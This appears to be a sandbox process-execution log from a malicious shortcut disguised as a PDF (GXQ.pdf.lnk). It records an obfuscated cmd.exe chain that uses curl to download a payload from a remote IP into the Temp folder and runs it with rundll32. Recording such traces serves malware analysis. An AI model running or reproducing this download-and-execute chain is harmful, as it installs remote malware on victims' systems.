cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "OdcjJwPLqPAW" C:\Users\test22\AppData\Local\Temp\GXQ.pdf.lnk
1028cmd.exe "C:\Windows\System32\cmd.exe" /c es7w || ECHo es7w & p"In"g es7w || C"Ur"l http:/"/9"5"."164."17.5"9"/Z"Ib"r"7"/"lM -o C:\Users\test22\AppData\Local\Temp\es7w.log & p"In"g -n 4 es7w || rundll32 C:\Users\test22\AppData\Local\Temp\es7w.log scab /k besogon728 & EXiT 'vQWITuxLxiaCG
2092PING.EXE p"In"g es7w
2200curl.exe C"Ur"l http:/"/9"5"."164."17.5"9"/Z"Ib"r"7"/"lM -o C:\Users\test22\AppData\Local\Temp\es7w.log
2272PING.EXE p"In"g -n 4 es7w
2368rundll32.exe rundll32 C:\Users\test22\AppData\Local\Temp\es7w.log scab /k besogon728
2416